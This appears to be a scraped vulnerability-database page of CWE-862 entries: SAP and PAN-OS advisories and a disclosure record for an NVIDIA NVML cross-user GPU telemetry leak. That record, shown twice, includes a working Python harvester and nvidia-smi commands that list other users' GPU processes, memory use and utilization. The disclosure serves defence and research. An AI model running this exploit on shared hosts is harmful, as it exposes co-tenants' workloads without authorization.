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Common Weakness Enumeration

CWE-862

Allowed-with-Review

Missing Authorization

Abstraction: Class · Status: Incomplete

The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

16890 vulnerabilities reference this CWE, most recent first.

CVE-2026-0503 (GCVE-0-2026-0503)

Vulnerability from cvelistv5 – Published: 2026-01-13 01:14 – Updated: 2026-01-13 19:09
VLAI
Title
Missing Authorization check in in SAP ERP Central Component and SAP S/4HANA (SAP EHS Management)
Summary
Due to missing authorization check in the SAP ERP Central Component (SAP ECC) and SAP S/4HANA (SAP EHS Management), an attacker could extract hardcoded clear-text credentials and bypass the password authentication check by manipulating user parameters. Upon successful exploitation, the attacker can access, modify or delete certain change pointer information within EHS objects in the application which might further affect the subsequent systems. This vulnerability leads to a low impact on confidentiality and integrity of the application with no affect on the availability.
SSVC
Exploitation: none Automatable: no Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-01-13 19:07 UTC
CWE
Assigner
Impacted products
Vendor Product Version
SAP_SE SAP ERP Central Component and SAP S/4HANA (SAP EHS Management) Affected: SAP_APPL 618
Affected: S4CORE 102
Affected: 103
Affected: 104
Affected: 105
Affected: 106
Affected: 107
Affected: 108
Affected: 109
Affected: EA-APPL 605
Affected: 606
Affected: 617
Create a notification for this product.
Show details on NVD website

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CVE-2026-0497 (GCVE-0-2026-0497)

Vulnerability from cvelistv5 – Published: 2026-01-13 01:13 – Updated: 2026-01-13 15:15
VLAI
Title
Missing Authorization check in Business Server Pages Application (Product Designer Web UI)
Summary
SAP Product Designer Web UI of Business Server Pages allows authenticated non-administrative users to access non-sensitive information. This results in a low impact on confidentiality, with no impact on integrity or availability of the application.
SSVC
Exploitation: none Automatable: no Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-01-13 15:14 UTC
CWE
Assigner
Impacted products
Vendor Product Version
SAP_SE Business Server Pages Application (Product Designer Web UI) Affected: SAP_APPL 618
Affected: S4CORE 102
Affected: 103
Affected: 104
Affected: 105
Affected: 106
Affected: 107
Affected: 108
Affected: 109
Affected: EA-APPL 600
Affected: 602
Affected: 603
Affected: 604
Affected: 605
Affected: 606
Affected: 617
Create a notification for this product.
Show details on NVD website

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CVE-2026-0490 (GCVE-0-2026-0490)

Vulnerability from cvelistv5 – Published: 2026-02-10 03:01 – Updated: 2026-02-10 16:34
VLAI
Title
Denial of service (DOS) in SAP BusinessObjects BI Platform
Summary
SAP BusinessObjects BI Platform allows an unauthenticated attacker to craft a specific network request to the trusted endpoint that breaks the authentication, which prevents the legitimate users from accessing the platform. As a result, it has a high impact on the availability but no impact on the confidentiality and integrity.
SSVC
Exploitation: none Automatable: yes Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-02-10 16:33 UTC
CWE
Assigner
Impacted products
Vendor Product Version
SAP_SE SAP BusinessObjects BI Platform Affected: ENTERPRISE 430
Affected: 2025
Affected: 2027
Create a notification for this product.
Show details on NVD website

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CVE-2026-0488 (GCVE-0-2026-0488)

Vulnerability from cvelistv5 – Published: 2026-02-10 03:01 – Updated: 2026-02-26 15:04
VLAI
Title
Code Injection vulnerability in SAP CRM and SAP S/4HANA (Scripting Editor)
Summary
An authenticated attacker in SAP CRM and SAP S/4HANA (Scripting Editor) could exploit a flaw in a generic function module call and execute unauthorized critical functionalities, which includes the ability to execute an arbitrary SQL statement. This leads to a full database compromise with high impact on confidentiality, integrity, and availability.
SSVC
Exploitation: none Automatable: no Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-02-11 04:56 UTC
CWE
Assigner
Impacted products
Vendor Product Version
SAP_SE SAP CRM and SAP S/4HANA (Scripting Editor) Affected: S4FND 102
Affected: 103
Affected: 104
Affected: 105
Affected: 106
Affected: 107
Affected: 108
Affected: 109
Affected: SAP_ABA 700
Affected: WEBCUIF 700
Affected: 701
Affected: 730
Affected: 731
Affected: 746
Affected: 747
Affected: 748
Affected: 800
Affected: 801
Create a notification for this product.
Show details on NVD website

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CVE-2026-0486 (GCVE-0-2026-0486)

Vulnerability from cvelistv5 – Published: 2026-02-10 03:00 – Updated: 2026-02-10 15:45
VLAI
Title
Missing Authorization Check in ABAP based SAP systems
Summary
In ABAP based SAP systems a remote enabled function module does not perform necessary authorization checks for an authenticated user resulting in disclosure of system information.This has low impact on confidentiality. Integrity and availability are not impacted.
SSVC
Exploitation: none Automatable: no Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-02-10 15:45 UTC
CWE
Assigner
Impacted products
Vendor Product Version
SAP_SE ABAP based SAP systems Affected: ST-PI 2005_1_700
Affected: 2008_1_710
Affected: 740
Affected: 758
Create a notification for this product.
Show details on NVD website

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GCVE-1988-2026-0298

Vulnerability from gna-1988 – Published: 2026-09-08 11:40 – Updated: 2026-09-11 11:52
VLAI
Title
NVIDIA Linux GPU driver: cross-UID GPU process telemetry via NVML, no CVE (vendor: expected behavior)
Summary
NVIDIA Linux GPU driver - cross-UID GPU process telemetry disclosure via NVML ============================================================================ On a multi-user Linux GPU host where mutually untrusted users can open the same /dev/nvidia* devices - the driver's default mode is 0666 - an unprivileged user can enumerate another user's GPU processes and per-process GPU telemetry through standard NVML management APIs. NVML directly returned the foreign PID, the per-process GPU-memory allocation and the SM utilization; nvidia-smi additionally displayed the process path, but the corresponding direct nvmlSystemGetProcessName() call was not captured. Measured on one configuration: A100, MIG off, bare metal, two local UIDs. No root, no gpu/video/render group membership, no capabilities, no CUDA context of the attacker's own, no performance counters, no injected traffic, no race. The attacker learns, for processes belonging to other users: PID, per-process GPU memory allocation, per-process SM utilization, and - via nvidia-smi - the binary path. Read-only workload metadata; no GPU memory contents are read. NVIDIA reviewed the finding and determined it is expected behavior. Affected: NVIDIA Linux GPU driver, NVML management plane Tested: 595.71.05-open; core channels also reproduced on 565.57.01-open Hardware: A100-SXM4-80GB x4, NV4 full mesh, no NVSwitch, MIG off Platform: Ubuntu 24.04, kernel 6.8.0-106, CUDA toolkit 12.9 (driver-reported runtime 13.2) CWE: CWE-200 (exposure of information to an unauthorized actor), CWE-862 (missing authorization) Status: Closed by NVIDIA as expected behavior. No fix. Public disclosure authorized by NVIDIA PSIRT 2026-08-20. CVE: none assigned Ref: Intigriti NVIDIA-W5AB0FZR Companion: "NVIDIA Linux GPU driver: unprivileged Xid 31 MMU fault via undocumented peer-teardown ordering" - same node, same driver, same 0666 precondition Root Cause ---------- Two independent facts compound. (a) /dev/nvidia* is mode 0666 by driver default. This is set by the kernel module, not by a site udev rule. # grep -E 'ModifyDeviceFiles|DeviceFileMode|RmProfilingAdminOnly' /proc/driver/nvidia/params ModifyDeviceFiles: 1 DeviceFileMode: 438 RmProfilingAdminOnly: 1 438 decimal is 0666 octal. ModifyDeviceFiles: 1 means the module rewrites existing device files to match its own defaults, so an administrator who tightens the mode out-of-band can have it reverted on module reload. The vendor sources agree: open-gpu-kernel-modules carries NV_DEFINE_REG_ENTRY(__NV_DEVICE_FILE_MODE, 0666) in kernel-open/nvidia/nv-reg.h with the comment "The default mode is 0666 (octal, rw-rw-rw-)", and the driver README "Device files" section documents UID 0 / GID 0 / Mode 0666 as the default, adding "Existing device files are changed if their attributes don't match these defaults." (b) NVML management APIs apply no UID, cgroup, or capability check to a caller holding that file descriptor. Any opener receives the node-wide management view. +------------------+ +-------------------+ | victim uid 1000 | | attacker uid 1011 | | CUDA workload | | no groups, Cap=0 | +--------+---------+ +---------+---------+ | | | open(2) /dev/nvidia* (0666) | open(2) /dev/nvidia* (0666) v v +-----------------------------------------------------------------------+ | nvidia.ko -> NVML management plane | | | | nvmlDeviceGetComputeRunningProcesses() -> ALL pids, ALL uids | | nvmlDeviceGetProcessUtilization() -> ALL pids, ALL uids | | ^ | | +--- no ownership check anywhere on this path| +-----------------------------------------------------------------------+ NVML already has the concept of privilege-gating this exact call - just not in ordinary shared-GPU mode. From nvml.h, on both nvmlDeviceGetComputeRunningProcesses_v3 and nvmlDeviceGetMPSComputeRunningProcesses_v3: "In MIG mode, if device handle is provided, the API returns aggregate information, only if the caller has appropriate privileges." So under MIG, process enumeration through the physical-device handle is privilege-gated. Outside MIG there is no corresponding UID ownership boundary. Relatedly, nvmlDeviceGetComputeRunningProcesses_v3 documents NVML_ERROR_NO_PERMISSION in its return list and does not return it here; nvmlDeviceGetProcessUtilization and nvmlDeviceGetMPSComputeRunningProcesses_v3 do not document that error at all. Note RmProfilingAdminOnly: 1 in the same params output. The CUPTI performance-counter plane IS gated behind CAP_SYS_ADMIN on this exact node - that gate was added as the fix for CVE-2018-6260. The NVML per-process management plane received no equivalent gate. That asymmetry is the finding. Attacker Prerequisites ---------------------- A shell account on the node. The observer used for all captured runs: uid=1011(victimuser) gid=1011(victimuser) groups=1011(victimuser) CapInh: 0000000000000000 -> NONE CapPrm: 0000000000000000 -> NONE CapEff: 0000000000000000 -> NONE CapAmb: 0000000000000000 -> NONE CapBnd: 000001ffffffffff No sudo. Not in sudo/wheel/admin/docker/video/gpu/render. No Docker socket. Cannot load kernel modules. Cannot ptrace other users' processes. Proof of Concept ---------------- Victim, uid 1000 - any long-running CUDA workload. The captured runs used nccl-tests all_reduce_perf on GPUs 2 and 3. Anything holding a CUDA context works; this needs only pytorch: python3 -c "import torch,time x=torch.randn(8192,8192,device='cuda') while True: x=x@x.clamp(-1,1); torch.cuda.synchronize(); time.sleep(0.01)" Attacker, uid 1011, via the shipped CLI: nvidia-smi --query-compute-apps=pid,process_name,used_gpu_memory --format=csv,noheader nvidia-smi pmon -c 3 nvidia-smi nvlink -gt d That first command, run by an unprivileged user with no group membership, is the entire exploit. Everything below is the same read straight through NVML. Captured output as uid 1011 against the uid 1000 victim: pid, process_name, used_gpu_memory [MiB], gpu_uuid 77977, /usr/local/bin/all_reduce_perf, 2288 MiB, GPU-7d4392e5-96fd-7c8d-5dd4-113663cc7278 77977, /usr/local/bin/all_reduce_perf, 2288 MiB, GPU-fe44d319-939f-d747-de55-6802405cad8d Full PoC code, harnesses and raw evidence for both findings: <https://www.google.com/url?q=https://github.com/abhinavagarwal07/nvidia-gpu-security-poc&source=gmail&ust=1787513712074000&sa=E> Straight through NVML with no nvidia-smi involved. This is the complete exploit: #!/usr/bin/env python3 # unprivileged cross-UID GPU telemetry harvester # run as any local user: python3 harvest.py # pip install nvidia-ml-py (provides the `pynvml` module; the standalone # `pynvml` PyPI package is a deprecated shim as of v12) import os, pwd, pynvml def owner(pid): try: return os.stat("/proc/%d" % pid).st_uid except: return None def exe(pid): # Tries NVML first. NOTE: this direct call was not verified cross-UID here - # see the note below the output. Falls back to cmdline, never to exe. try: n = pynvml.nvmlSystemGetProcessName(pid) return n.decode() if isinstance(n, bytes) else n except Exception: # /proc/<pid>/cmdline is world-readable - this is how ps(1) shows other # users' command lines. /proc/<pid>/exe is NOT: readlink on it needs # PTRACE_MODE_READ, which this attacker does not have. try: return open("/proc/%d/cmdline" % pid,"rb").read().split(b"\0")[0].decode() except: return "?" def owner_name(u): try: return pwd.getpwuid(u).pw_name except KeyError: return str(u) # no passwd entry: LDAP, containers pynvml.nvmlInit() me = os.getuid() found = 0 for i in range(pynvml.nvmlDeviceGetCount()): h = pynvml.nvmlDeviceGetHandleByIndex(i) # cross-UID process table + per-process GPU memory for p in pynvml.nvmlDeviceGetComputeRunningProcesses(h): u = owner(p.pid) if u is not None and u != me: found += 1 print("[CROSS-UID] gpu=%d pid=%d uid=%d(%s) mem=%dMiB exe=%s" % ( i, p.pid, u, owner_name(u), (p.usedGpuMemory or 0) >> 20, exe(p.pid))) # cross-UID per-process SM / memory-controller utilization. # arg 2 is lastSeenTimeStamp in microseconds; only samples newer than it are # returned, so a small constant drains everything the driver still buffers. try: for pu in pynvml.nvmlDeviceGetProcessUtilization(h, 1000000): u = owner(pu.pid) if u is not None and u != me: print("[CROSS-UID-UTIL] gpu=%d pid=%d uid=%d sm=%d%% mem=%d%%" % ( i, pu.pid, u, pu.smUtil, pu.memUtil)) except pynvml.NVMLError as e: # NVML_ERROR_NOT_FOUND here means the driver's sample buffer is empty, # NOT that the call is gated. Poll for a few seconds and retry. print(" nvmlDeviceGetProcessUtilization -> %s" % e) # device-global telemetry, no gate at all print("[DEV] gpu=%d power=%.1fW util=%d%% mem_used=%dMiB" % ( i, pynvml.nvmlDeviceGetPowerUsage(h)/1000.0, pynvml.nvmlDeviceGetUtilizationRates(h).gpu, pynvml.nvmlDeviceGetMemoryInfo(h).used >> 20)) if not found: print("no cross-UID GPU processes visible (is a victim workload running?)") Output: [CROSS-UID] gpu=2 pid=77977 uid=1000(cc) mem=2288MiB exe=/usr/local/bin/all_reduce_perf [CROSS-UID] gpu=3 pid=77977 uid=1000(cc) mem=2288MiB exe=/usr/local/bin/all_reduce_perf [CROSS-UID-UTIL] gpu=2 pid=77977 uid=1000 sm=97% mem=41% NVML supplies the PID and the GPU memory figure. The binary path came from nvidia-smi --query-compute-apps=process_name, which is NVML-backed and returned the full path /usr/local/bin/all_reduce_perf to the unprivileged observer - that output is captured. The direct call, nvmlSystemGetProcessName(), is what the PoC above uses and it is NOT something I captured cross-UID; NVML documents NVML_ERROR_NO_PERMISSION for it, so verify it on your own host rather than taking it from me. The captured harness resolved names through /proc. Note that /proc/<pid>/exe is not readable cross-UID, so if you fall back to procfs use /proc/<pid>/cmdline, not exe. The only field procfs is needed for is the owning UID, via stat() on /proc/<pid>. Polling nvmlDeviceGetProcessUtilization in a loop yields a per-victim SM utilization time series. What that supports on the evidence here is busy-versus-idle and job start/stop. Finer structure - step cadence, phase boundaries - is plausible but was not demonstrated, and I do not claim it. Results: 5/5 positive sessions with all seven machine-scored success criteria passing, and 2/2 negative controls (no victim workload, no cross-UID records) confirming the signal tracks the victim. For every compute-app row root could see, the unprivileged observer saw a matching row - same PID, same binary name, same GPU - in all five positive sessions. That comparison is field-level (whitespace and row order normalized, process name compared by basename), not a byte diff. All channels leak with GPU accounting mode disabled, which is the fresh default, so this is not a case of an administrator having enabled accounting. Telemetry Channels ------------------ Channel NVML API CLI Result ----------------------------- --------------------------------------- ---------------------- -------------------------- Process PID nvmlDeviceGetComputeRunningProcesses --query-compute-apps LEAKS (redundant with ps) Binary path nvidia-smi's NVML-backed query --query-compute-apps LEAKS (captured); direct (nvmlSystemGetProcessName NOT captured) NVML call unverified Per-process GPU memory nvmlDeviceGetComputeRunningProcesses --query-compute-apps LEAKS - GPU-specific Per-process SM utilization nvmlDeviceGetProcessUtilization pmon LEAKS - GPU-specific NVLink Tx/Rx counters NVML_ERROR_NOT_SUPPORTED on this driver nvlink -gt d LEAKS via CLI - prior art NVLink topology / remote PCI nvmlDeviceGetNvLinkRemotePciInfo nvlink LEAKS Device power/clocks/util nvmlDeviceGetPowerUsage et al. -q LEAKS (device-global) Impact ------ A low-privileged tenant on a shared HPC or AI node passively monitors co-tenants in real time: who is running GPU work, which binary, the GPU memory footprint (a model-size proxy), the SM utilization timeline (training and idle cadence, step rate, job boundaries), and NVLink pair activity (distributed job topology). No computation content is read - no weights, a
Severity
No CVSS data available.
Impacted products
Vendor Product Version
Nvidia Linux GPU Affected: unknown
Create a notification for this product.
Relationships
reference GCVE-1988-2026-0298 (this record)

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          "value": "NVIDIA Linux GPU driver - cross-UID GPU process telemetry disclosure via NVML\n============================================================================\n\nOn a multi-user Linux GPU host where mutually untrusted users can open\nthe same /dev/nvidia* devices - the driver\u0027s default mode is 0666 - an\nunprivileged user can enumerate another user\u0027s GPU processes and\nper-process GPU telemetry through standard NVML management APIs. NVML\ndirectly returned the foreign PID, the per-process GPU-memory\nallocation and the SM utilization; nvidia-smi additionally displayed\nthe process path, but the corresponding direct\nnvmlSystemGetProcessName() call was not captured. Measured on one\nconfiguration: A100, MIG off, bare metal, two local UIDs. No root, no\ngpu/video/render group membership, no capabilities, no CUDA context of\nthe attacker\u0027s own, no performance counters, no injected traffic, no\nrace. The attacker learns, for processes belonging to other users:\nPID, per-process GPU memory allocation, per-process SM utilization,\nand - via nvidia-smi - the binary path. Read-only workload metadata;\nno GPU memory contents are read. NVIDIA reviewed the finding and\ndetermined it is expected behavior.\n\nAffected: NVIDIA Linux GPU driver, NVML management plane\nTested: 595.71.05-open; core channels also reproduced on 565.57.01-open\nHardware: A100-SXM4-80GB x4, NV4 full mesh, no NVSwitch, MIG off\nPlatform: Ubuntu 24.04, kernel 6.8.0-106, CUDA toolkit 12.9\n(driver-reported runtime 13.2)\nCWE: CWE-200 (exposure of information to an unauthorized actor),\nCWE-862 (missing authorization)\nStatus: Closed by NVIDIA as expected behavior. No fix. Public\ndisclosure authorized by NVIDIA PSIRT 2026-08-20.\nCVE: none assigned\nRef: Intigriti NVIDIA-W5AB0FZR\nCompanion: \"NVIDIA Linux GPU driver: unprivileged Xid 31 MMU fault via\nundocumented peer-teardown ordering\" - same node, same driver, same\n0666 precondition\n\n\nRoot Cause\n----------\n\nTwo independent facts compound.\n\n(a) /dev/nvidia* is mode 0666 by driver default. This is set by the\nkernel module, not by a site udev rule.\n\n# grep -E \u0027ModifyDeviceFiles|DeviceFileMode|RmProfilingAdminOnly\u0027\n/proc/driver/nvidia/params\nModifyDeviceFiles: 1\nDeviceFileMode: 438\nRmProfilingAdminOnly: 1\n\n438 decimal is 0666 octal. ModifyDeviceFiles: 1 means the module\nrewrites existing device files to match its own defaults, so an\nadministrator who tightens the mode out-of-band can have it reverted\non module reload. The vendor sources agree: open-gpu-kernel-modules\ncarries NV_DEFINE_REG_ENTRY(__NV_DEVICE_FILE_MODE, 0666) in\nkernel-open/nvidia/nv-reg.h with the comment \"The default mode is 0666\n(octal, rw-rw-rw-)\", and the driver README \"Device files\" section\ndocuments UID 0 / GID 0 / Mode 0666 as the default, adding \"Existing\ndevice files are changed if their attributes don\u0027t match these\ndefaults.\"\n\n(b) NVML management APIs apply no UID, cgroup, or capability check to\na caller holding that file descriptor. Any opener receives the\nnode-wide management view.\n\n+------------------+ +-------------------+\n| victim uid 1000 | | attacker uid 1011 |\n| CUDA workload | | no groups, Cap=0 |\n+--------+---------+ +---------+---------+\n| |\n| open(2) /dev/nvidia* (0666) | open(2) /dev/nvidia* (0666)\nv v\n+-----------------------------------------------------------------------+\n| nvidia.ko -\u003e NVML management plane |\n| |\n| nvmlDeviceGetComputeRunningProcesses() -\u003e ALL pids, ALL uids |\n| nvmlDeviceGetProcessUtilization() -\u003e ALL pids, ALL uids |\n| ^ |\n| +--- no ownership check anywhere on this path|\n+-----------------------------------------------------------------------+\n\nNVML already has the concept of privilege-gating this exact call -\njust not in ordinary shared-GPU mode. From nvml.h, on both\nnvmlDeviceGetComputeRunningProcesses_v3 and\nnvmlDeviceGetMPSComputeRunningProcesses_v3:\n\n\"In MIG mode, if device handle is provided, the API returns aggregate\ninformation,\nonly if the caller has appropriate privileges.\"\n\nSo under MIG, process enumeration through the physical-device handle\nis privilege-gated. Outside MIG there is no corresponding UID\nownership boundary. Relatedly, nvmlDeviceGetComputeRunningProcesses_v3\ndocuments NVML_ERROR_NO_PERMISSION in its return list and does not\nreturn it here; nvmlDeviceGetProcessUtilization and\nnvmlDeviceGetMPSComputeRunningProcesses_v3 do not document that error\nat all.\n\nNote RmProfilingAdminOnly: 1 in the same params output. The CUPTI\nperformance-counter plane IS gated behind CAP_SYS_ADMIN on this exact\nnode - that gate was added as the fix for CVE-2018-6260. The NVML\nper-process management plane received no equivalent gate. That\nasymmetry is the finding.\n\n\nAttacker Prerequisites\n----------------------\n\nA shell account on the node. The observer used for all captured runs:\n\nuid=1011(victimuser) gid=1011(victimuser) groups=1011(victimuser)\n\nCapInh: 0000000000000000 -\u003e NONE\nCapPrm: 0000000000000000 -\u003e NONE\nCapEff: 0000000000000000 -\u003e NONE\nCapAmb: 0000000000000000 -\u003e NONE\nCapBnd: 000001ffffffffff\n\nNo sudo. Not in sudo/wheel/admin/docker/video/gpu/render.\nNo Docker socket. Cannot load kernel modules. Cannot ptrace other\nusers\u0027 processes.\n\n\nProof of Concept\n----------------\n\nVictim, uid 1000 - any long-running CUDA workload. The captured runs\nused nccl-tests all_reduce_perf on GPUs 2 and 3. Anything holding a\nCUDA context works; this needs only pytorch:\n\npython3 -c \"import torch,time\nx=torch.randn(8192,8192,device=\u0027cuda\u0027)\nwhile True: x=x@x.clamp(-1,1); torch.cuda.synchronize(); time.sleep(0.01)\"\n\nAttacker, uid 1011, via the shipped CLI:\n\nnvidia-smi --query-compute-apps=pid,process_name,used_gpu_memory\n--format=csv,noheader\nnvidia-smi pmon -c 3\nnvidia-smi nvlink -gt d\n\nThat first command, run by an unprivileged user with no group\nmembership, is the entire exploit. Everything below is the same read\nstraight through NVML. Captured output as uid 1011 against the uid\n1000 victim:\n\npid, process_name, used_gpu_memory [MiB], gpu_uuid\n77977, /usr/local/bin/all_reduce_perf, 2288 MiB,\nGPU-7d4392e5-96fd-7c8d-5dd4-113663cc7278\n77977, /usr/local/bin/all_reduce_perf, 2288 MiB,\nGPU-fe44d319-939f-d747-de55-6802405cad8d\n\nFull PoC code, harnesses and raw evidence for both findings:\n\u003chttps://www.google.com/url?q=https://github.com/abhinavagarwal07/nvidia-gpu-security-poc\u0026source=gmail\u0026ust=1787513712074000\u0026sa=E\u003e\n\nStraight through NVML with no nvidia-smi involved. This is the complete exploit:\n\n#!/usr/bin/env python3\n# unprivileged cross-UID GPU telemetry harvester\n# run as any local user: python3 harvest.py\n# pip install nvidia-ml-py (provides the `pynvml` module; the standalone\n# `pynvml` PyPI package is a deprecated shim as of v12)\nimport os, pwd, pynvml\n\ndef owner(pid):\ntry: return os.stat(\"/proc/%d\" % pid).st_uid\nexcept: return None\n\ndef exe(pid):\n# Tries NVML first. NOTE: this direct call was not verified cross-UID here -\n# see the note below the output. Falls back to cmdline, never to exe.\ntry:\nn = pynvml.nvmlSystemGetProcessName(pid)\nreturn n.decode() if isinstance(n, bytes) else n\nexcept Exception:\n# /proc/\u003cpid\u003e/cmdline is world-readable - this is how ps(1) shows other\n# users\u0027 command lines. /proc/\u003cpid\u003e/exe is NOT: readlink on it needs\n# PTRACE_MODE_READ, which this attacker does not have.\ntry: return open(\"/proc/%d/cmdline\" % pid,\"rb\").read().split(b\"\\0\")[0].decode()\nexcept: return \"?\"\n\ndef owner_name(u):\ntry: return pwd.getpwuid(u).pw_name\nexcept KeyError: return str(u) # no passwd entry: LDAP, containers\n\npynvml.nvmlInit()\nme = os.getuid()\nfound = 0\nfor i in range(pynvml.nvmlDeviceGetCount()):\nh = pynvml.nvmlDeviceGetHandleByIndex(i)\n\n# cross-UID process table + per-process GPU memory\nfor p in pynvml.nvmlDeviceGetComputeRunningProcesses(h):\nu = owner(p.pid)\nif u is not None and u != me:\nfound += 1\nprint(\"[CROSS-UID] gpu=%d pid=%d uid=%d(%s) mem=%dMiB exe=%s\" % (\ni, p.pid, u, owner_name(u),\n(p.usedGpuMemory or 0) \u003e\u003e 20, exe(p.pid)))\n\n# cross-UID per-process SM / memory-controller utilization.\n# arg 2 is lastSeenTimeStamp in microseconds; only samples newer than it are\n# returned, so a small constant drains everything the driver still buffers.\ntry:\nfor pu in pynvml.nvmlDeviceGetProcessUtilization(h, 1000000):\nu = owner(pu.pid)\nif u is not None and u != me:\nprint(\"[CROSS-UID-UTIL] gpu=%d pid=%d uid=%d sm=%d%% mem=%d%%\" % (\ni, pu.pid, u, pu.smUtil, pu.memUtil))\nexcept pynvml.NVMLError as e:\n# NVML_ERROR_NOT_FOUND here means the driver\u0027s sample buffer is empty,\n# NOT that the call is gated. Poll for a few seconds and retry.\nprint(\" nvmlDeviceGetProcessUtilization -\u003e %s\" % e)\n\n# device-global telemetry, no gate at all\nprint(\"[DEV] gpu=%d power=%.1fW util=%d%% mem_used=%dMiB\" % (\ni, pynvml.nvmlDeviceGetPowerUsage(h)/1000.0,\npynvml.nvmlDeviceGetUtilizationRates(h).gpu,\npynvml.nvmlDeviceGetMemoryInfo(h).used \u003e\u003e 20))\n\nif not found:\nprint(\"no cross-UID GPU processes visible (is a victim workload running?)\")\n\nOutput:\n\n[CROSS-UID] gpu=2 pid=77977 uid=1000(cc) mem=2288MiB\nexe=/usr/local/bin/all_reduce_perf\n[CROSS-UID] gpu=3 pid=77977 uid=1000(cc) mem=2288MiB\nexe=/usr/local/bin/all_reduce_perf\n[CROSS-UID-UTIL] gpu=2 pid=77977 uid=1000 sm=97% mem=41%\n\nNVML supplies the PID and the GPU memory figure. The binary path came\nfrom nvidia-smi --query-compute-apps=process_name, which is\nNVML-backed and returned the full path /usr/local/bin/all_reduce_perf\nto the unprivileged observer - that output is captured. The direct\ncall, nvmlSystemGetProcessName(), is what the PoC above uses and it is\nNOT something I captured cross-UID; NVML documents\nNVML_ERROR_NO_PERMISSION for it, so verify it on your own host rather\nthan taking it from me. The captured harness resolved names through\n/proc. Note that /proc/\u003cpid\u003e/exe is not readable cross-UID, so if you\nfall back to procfs use /proc/\u003cpid\u003e/cmdline, not exe. The only field\nprocfs is needed for is the owning UID, via stat() on /proc/\u003cpid\u003e.\n\nPolling nvmlDeviceGetProcessUtilization in a loop yields a per-victim\nSM utilization time series. What that supports on the evidence here is\nbusy-versus-idle and job start/stop. Finer structure - step cadence,\nphase boundaries - is plausible but was not demonstrated, and I do not\nclaim it.\n\nResults: 5/5 positive sessions with all seven machine-scored success\ncriteria passing, and 2/2 negative controls (no victim workload, no\ncross-UID records) confirming the signal tracks the victim. For every\ncompute-app row root could see, the unprivileged observer saw a\nmatching row - same PID, same binary name, same GPU - in all five\npositive sessions. That comparison is field-level (whitespace and row\norder normalized, process name compared by basename), not a byte diff.\nAll channels leak with GPU accounting mode disabled, which is the\nfresh default, so this is not a case of an administrator having\nenabled accounting.\n\n\nTelemetry Channels\n------------------\n\nChannel NVML API CLI Result\n----------------------------- ---------------------------------------\n---------------------- --------------------------\nProcess PID nvmlDeviceGetComputeRunningProcesses --query-compute-apps\nLEAKS (redundant with ps)\nBinary path nvidia-smi\u0027s NVML-backed query --query-compute-apps LEAKS\n(captured); direct\n(nvmlSystemGetProcessName NOT captured) NVML call unverified\nPer-process GPU memory nvmlDeviceGetComputeRunningProcesses\n--query-compute-apps LEAKS - GPU-specific\nPer-process SM utilization nvmlDeviceGetProcessUtilization pmon LEAKS\n- GPU-specific\nNVLink Tx/Rx counters NVML_ERROR_NOT_SUPPORTED on this driver nvlink\n-gt d LEAKS via CLI - prior art\nNVLink topology / remote PCI nvmlDeviceGetNvLinkRemotePciInfo nvlink LEAKS\nDevice power/clocks/util nvmlDeviceGetPowerUsage et al. -q LEAKS (device-global)\n\n\nImpact\n------\n\nA low-privileged tenant on a shared HPC or AI node passively monitors\nco-tenants in real time: who is running GPU work, which binary, the\nGPU memory footprint (a model-size proxy), the SM utilization timeline\n(training and idle cadence, step rate, job boundaries), and NVLink\npair activity (distributed job topology).\n\nNo computation content is read - no weights, a"
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CVE-2026-0272 (GCVE-0-2026-0272)

Vulnerability from cvelistv5 – Published: 2026-06-10 21:01 – Updated: 2026-08-11 12:23
VLAI
Title
PAN-OS: Privilege Escalation (PE) Vulnerability in the Command Line Interface (CLI)
Summary
A privilege escalation vulnerability in Palo Alto Networks PAN-OS® software allows an authenticated administrator with access to the Command Line Interface (CLI) to perform actions on the device with root privileges. The security risk posed by this issue is significantly minimized when CLI access is restricted to a limited group of administrators and by restricting access to the management interface to only trusted internal IP addresses according to our recommended best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 . This issue is applicable to PAN-OS software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series). Cloud NGFW, and Prisma® Access are not impacted by this vulnerability.
SSVC
Exploitation: none Automatable: no Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-06-11 03:55 UTC
CWE
Impacted products
Vendor Product Version
Palo Alto Networks Cloud NGFW Unaffected: All (custom)
Create a notification for this product.
Palo Alto Networks PAN-OS Affected: 12.1.0 , < 12.1.4-h7 (custom)
Affected: 11.2.0 , < 11.2.4-h18 (custom)
Affected: 11.1.0 , < 11.1.4-h34 (custom)
Affected: 10.2.0 , < 10.2.7-h35 (custom)
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    cpe:2.3:o:palo_alto_networks:pan-os:11.2.6:*:*:*:*:*:*:*
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    cpe:2.3:o:palo_alto_networks:pan-os:11.2.3:*:*:*:*:*:*:*
    cpe:2.3:o:palo_alto_networks:pan-os:11.2.2:*:*:*:*:*:*:*
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    cpe:2.3:o:palo_alto_networks:pan-os:11.1.13:h1:*:*:*:*:*:*
    cpe:2.3:o:palo_alto_networks:pan-os:11.1.13:-:*:*:*:*:*:*
    cpe:2.3:o:palo_alto_networks:pan-os:11.1.12:*:*:*:*:*:*:*
    cpe:2.3:o:palo_alto_networks:pan-os:11.1.11:*:*:*:*:*:*:*
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    cpe:2.3:o:palo_alto_networks:pan-os:11.1.10:h25:*:*:*:*:*:*
    cpe:2.3:o:palo_alto_networks:pan-os:11.1.10:h21:*:*:*:*:*:*
    cpe:2.3:o:palo_alto_networks:pan-os:11.1.10:h12:*:*:*:*:*:*
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    cpe:2.3:o:palo_alto_networks:pan-os:11.1.6:h23:*:*:*:*:*:*
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    cpe:2.3:o:palo_alto_networks:pan-os:11.1.6:h2:*:*:*:*:*:*
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    cpe:2.3:o:palo_alto_networks:pan-os:10.2.0:*:*:*:*:*:*:*
Create a notification for this product.
Palo Alto Networks Prisma Access Unaffected: All (custom)
Create a notification for this product.
Siemens RUGGEDCOM APE1808 Affected: 0 , < * (custom)
Create a notification for this product.
Date Public
2026-06-10 16:00
Show details on NVD website

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-0272",
                "options": [
